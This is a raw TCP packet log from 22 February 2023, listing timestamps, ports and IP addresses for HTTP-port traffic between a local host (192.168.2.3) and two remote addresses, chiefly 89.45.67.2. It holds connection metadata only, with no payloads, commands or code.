Feb 22, 2023 09:43:27.754414082 CET	49709	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:27.754615068 CET	49709	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:27.791955948 CET	80	49709	208.95.112.1	192.168.2.3
Feb 22, 2023 09:43:27.857409000 CET	49709	80	192.168.2.3	208.95.112.1
Feb 22, 2023 09:43:30.397627115 CET	49707	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:30.440781116 CET	80	49707	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:30.440913916 CET	49707	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:30.572649002 CET	49710	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:30.615663052 CET	80	49710	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:30.615829945 CET	49710	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:30.660036087 CET	80	49710	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:30.660160065 CET	49710	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:30.703128099 CET	80	49710	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:30.705907106 CET	80	49710	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:30.810826063 CET	49710	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.657289028 CET	49710	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.696178913 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.700573921 CET	80	49710	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.700659037 CET	49710	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.739300013 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.739484072 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.782577038 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.782742977 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.825889111 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.825920105 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.826299906 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.826575041 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.826575041 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.869683981 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.869724989 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.869750977 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.869776011 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.869844913 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.869937897 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.869937897 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.913074970 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913111925 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913132906 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913150072 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913193941 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913280964 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913290024 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.913361073 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.913367987 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.913400888 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.913400888 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.913434029 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.953244925 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.953372002 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.956691027 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956753016 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956784964 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956814051 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956844091 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956841946 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.956873894 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956904888 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.956906080 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956934929 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.956934929 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956967115 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.956996918 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957026005 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957056046 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957086086 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957230091 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957262993 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957293987 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.957779884 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.957928896 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.958022118 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.958107948 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.958211899 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:35.996596098 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:35.996741056 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.000271082 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000344038 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000371933 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000382900 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.000427961 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000458956 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.000458956 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.000586987 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000608921 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000663042 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000715971 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000766993 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000813007 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.000818968 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.000853062 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001008034 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001036882 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001060009 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001111984 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001132011 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001136065 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001154900 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001158953 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001208067 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001236916 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001286030 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001354933 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001379013 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001390934 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001415014 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001431942 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001434088 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001456976 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001487970 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001513004 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001538992 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001593113 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001600027 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001616001 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001643896 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001668930 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001689911 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001775026 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001806974 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001827955 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001837015 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001904964 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001907110 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.001926899 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.001957893 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002012014 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002098083 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002115965 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002144098 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002150059 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002202034 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002553940 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002577066 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002657890 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002666950 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002666950 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002798080 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002818108 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.002880096 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002880096 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.002880096 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.039938927 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.040091991 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.040368080 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.043525934 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043560982 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043581963 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043616056 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043679953 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043699026 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043700933 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.043767929 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.043786049 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043883085 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043899059 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.043915033 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044001102 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044069052 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044069052 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044084072 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044104099 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044148922 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044198990 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044261932 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044261932 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044311047 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044358969 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044384003 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044433117 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044435978 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044545889 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044564962 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044645071 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044663906 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044668913 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044694901 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044715881 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044734955 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044739962 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044765949 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044787884 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044831038 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044881105 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044960976 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.044976950 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.044980049 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045027018 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045057058 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045094967 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045114994 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045134068 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045151949 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045171022 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045190096 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045237064 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045255899 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045274973 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045280933 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045460939 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045509100 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045561075 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045578003 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045579910 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045624971 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045723915 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.045769930 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.045778990 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.047189951 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.083280087 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.083400965 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.086935043 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087121964 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.087348938 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087389946 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087420940 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087451935 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087467909 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.087485075 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087502956 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.087522030 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087552071 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087568998 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.087580919 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087610960 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087641954 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087671041 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087814093 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.087907076 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088016987 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088038921 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.088145018 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088262081 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088268042 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.088283062 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088372946 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088440895 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.088480949 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088535070 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088588953 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088613987 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.088707924 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088773966 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088781118 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.088781118 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.088855028 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.088979006 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.090210915 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.090363026 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.126523972 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.126656055 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.130242109 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.130337000 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.130582094 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.130649090 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.130733013 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.130804062 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.130903959 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.130924940 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.130990982 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131010056 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131016016 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131103992 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131115913 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131156921 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131217957 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131299019 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131309032 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131490946 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131555080 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131567001 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131613970 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131613970 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131624937 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131736040 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131807089 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131866932 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131890059 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131913900 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.131939888 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.131988049 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.132030964 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.132047892 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.132061958 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.132153034 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.132257938 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.132275105 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.132381916 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.133368015 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.133471966 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.133641958 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.169838905 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.170066118 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.173422098 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.173583031 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.173831940 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.173856974 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.173873901 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.173919916 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.173954964 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.173959970 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174040079 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174058914 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174086094 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174187899 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174190044 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174247980 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174462080 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174535036 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174601078 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174621105 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174664021 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174683094 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174747944 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174823046 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174823999 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174869061 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.174917936 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174968958 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.174971104 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175021887 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175079107 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.175144911 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175235033 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.175270081 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.175302982 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175329924 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175405979 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.175487041 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175606966 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.175628901 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.175682068 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175704002 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.175810099 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.176479101 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.176644087 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.213300943 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.213445902 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.216737032 CET	80	49711	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:36.216852903 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:36.216881990 CET	80	49711	89.45.67.2	192.168.2.3
